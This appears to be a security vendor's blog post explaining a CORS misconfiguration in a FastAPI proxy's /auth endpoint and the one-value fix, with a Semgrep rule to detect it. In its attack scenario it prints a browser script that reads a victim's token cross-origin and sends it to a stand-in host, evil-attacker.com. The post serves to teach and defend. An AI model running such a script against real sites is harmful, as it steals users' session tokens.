How CORS Misconfiguration Happens in FastAPI and How to Fix It
The File That Handles Authentication — and Why Its CORS Config Mattered
The example_myshows_proxy/main.py file is the entry point for a FastAPI application that proxies requests to the MyShows API. Among its endpoints is /auth, which returns an authentication token to the caller. That makes the CORS configuration at the top of this file critically important — because CORS is the browser's primary mechanism for deciding which websites are allowed to read those responses.
At line 12, the application registered CORSMiddleware with a configuration that looked harmless at first glance:
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True, # ← the vulnerable line
allow_methods=["*"],
allow_headers=["*"],
)
This single line — allow_credentials=True — in combination with allow_origins=["*"] created a high-severity vulnerability that could allow any website on the internet to silently steal the authentication tokens returned by this proxy.
The Vulnerability Explained
What CORS Is Supposed to Do
Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which external origins can read responses from your server. By default, browsers block cross-origin reads — CORS headers are the server's way of explicitly granting exceptions.
The Access-Control-Allow-Credentials: true header is a special escalation: it tells the browser, "Yes, you may include cookies, HTTP auth headers, or TLS client certificates in cross-origin requests — and you may expose the response to the requesting JavaScript."
The Subtle FastAPI/Starlette Behavior That Makes This Worse
Here's where this vulnerability gets interesting — and why it's easy to miss in code review.
The CORS specification explicitly forbids combining Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers will reject that combination. So you might think: "FastAPI will just send *, browsers will reject it, no harm done."
That's not what FastAPI does.
When allow_credentials=True is set, Starlette's CORSMiddleware does not send Access-Control-Allow-Origin: *. Instead, it reflects the incoming Origin header back verbatim. So if a request arrives from https://evil-attacker.com, the server responds with:
Access-Control-Allow-Origin: https://evil-attacker.com
Access-Control-Allow-Credentials: true
This is a valid credentialed CORS response. The browser accepts it. The attacker's JavaScript can read the full response body — including any authentication token.
The Attack Scenario
Imagine a user is logged into the MyShows proxy application in their browser. They visit a malicious website (perhaps via a phishing link or a compromised ad). That website runs the following script:
fetch('https://myshows-proxy.example.com/auth', {
method: 'POST',
credentials: 'include', // sends the user's cookies
body: JSON.stringify({ username: 'victim', password: 'stored-in-browser' })
})
.then(response => response.json())
.then(data => {
// data.token is now in the attacker's hands
fetch('https://evil-attacker.com/collect?token=' + data.token);
});
Because the server reflects the attacker's origin and includes Access-Control-Allow-Credentials: true, the browser allows the response to be read. The token is exfiltrated. The attacker now has authenticated access to the victim's MyShows account.
Real-World Impact
This proxy application is described as publicly accessible. Any user who has ever authenticated through it and visits a malicious page is at risk of having their session token stolen — with no indication that anything went wrong.
The Fix
The fix is a single character change at line 14 of example_myshows_proxy/main.py:
Before (vulnerable):
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True, # reflects every Origin with credentials
allow_methods=["*"],
allow_headers=["*"],
)
After (fixed):
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=False, # no credentialed cross-origin access
allow_methods=["*"],
allow_headers=["*"],
)
Why This Specific Change Solves the Problem
Setting allow_credentials=False (which is also the default if the parameter is omitted) means Starlette will send Access-Control-Allow-Origin: * as a literal wildcard. Browsers enforce the rule that wildcard origins cannot be used with credentialed requests — so any fetch(..., { credentials: 'include' }) call from a foreign origin will be blocked by the browser before the response is ever exposed to JavaScript.
Unauthenticated cross-origin requests (e.g., public API calls without cookies) still work as expected. The change only prevents credentialed cross-origin reads, which is exactly the attack vector being closed.
The Ideal Long-Term Fix
If the application genuinely needs to support credentialed cross-origin requests from specific trusted frontends, the correct configuration is:
app.add_middleware(
CORSMiddleware,
allow_origins=["https://trusted-frontend.example.com"], # explicit allowlist
allow_credentials=True,
allow_methods=["GET", "POST"],
allow_headers=["Authorization", "Content-Type"],
)
This grants credentialed access only to known, trusted origins — rather than reflecting every origin that asks.
Prevention & Best Practices
1. Never Combine Wildcard Origins with Credentials
This is the cardinal rule of CORS configuration. If you need allow_credentials=True, you must enumerate your trusted origins explicitly. There is no safe way to combine allow_origins=["*"] with allow_credentials=True.
2. Apply the Principle of Least Privilege to CORS
Only allow the methods, headers, and origins your application actually needs. allow_methods=["*"] and allow_headers=["*"] are also worth revisiting — they expand the attack surface unnecessarily.
3. Use Semgrep to Catch This Pattern
A Semgrep rule can flag this exact anti-pattern in any FastAPI or Starlette codebase:
# Detects allow_origins=["*"] + allow_credentials=True in CORSMiddleware
rules:
- id: cors-wildcard-with-credentials
patterns:
- pattern: |
CORSMiddleware(..., allow_origins=["*"], ..., allow_credentials=True, ...)
message: "Wildcard CORS origin with credentials=True reflects all origins"
severity: ERROR
Search for related patterns at https://semgrep.dev/r?q=cors+credentials.
4. Security Standards Reference
- OWASP: CORS Security Cheat Sheet
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- MDN: CORS with credentials
Key Takeaways
allow_credentials=Truewithallow_origins=["*"]in FastAPI is not a no-op — Starlette reflects the actualOriginheader, making every origin effectively trusted for credentialed requests.- The
/authendpoint was the highest-risk target — it returns authentication tokens, making it the ideal target for a cross-origin credential theft attack. - The fix required changing exactly one value (
True→False) at line 14 ofmain.py, but the security impact is significant: credentialed cross-origin reads are now blocked by browsers. - Wildcard CORS is safe for public, unauthenticated APIs — the problem only arises when credentials are also enabled.
- CORS misconfigurations are silent — there are no server-side errors, no logs, and no user-visible symptoms when an attacker exploits this. Detection requires proactive scanning.
How Orbis AppSec Detected This
- Source: The
Originrequest header sent by any cross-origin browser request to the FastAPI application. - Sink: The
CORSMiddlewareconfiguration atexample_myshows_proxy/main.py:12–17, specifically theallow_credentials=Trueparameter combined withallow_origins=["*"]. - Missing control: No restriction on which origins are permitted to make credentialed requests; the wildcard origin policy effectively whitelisted all origins when combined with credential reflection.
- CWE: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains.
- Fix: Changed
allow_credentials=Truetoallow_credentials=Falseat line 14, preventing theAccess-Control-Allow-Credentials: trueheader from being sent and blocking browsers from exposing credentialed responses to cross-origin scripts.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CORS misconfigurations are among the most common and most underestimated security issues in web APIs. The combination of allow_origins=["*"] and allow_credentials=True in FastAPI's CORSMiddleware is particularly dangerous because it doesn't fail loudly — it silently reflects every origin as trusted, giving any malicious website the ability to make authenticated requests and read the responses.
In this case, the /auth endpoint of example_myshows_proxy/main.py was directly exposed: any website could have triggered an authenticated request and exfiltrated the resulting token. A one-line fix — flipping allow_credentials to False — closes the vulnerability entirely.
The lesson for FastAPI developers: always treat allow_credentials=True as a high-privilege setting that requires an explicit, restrictive allow_origins list. When in doubt, default to False and add origins as your application's trust requirements become clear.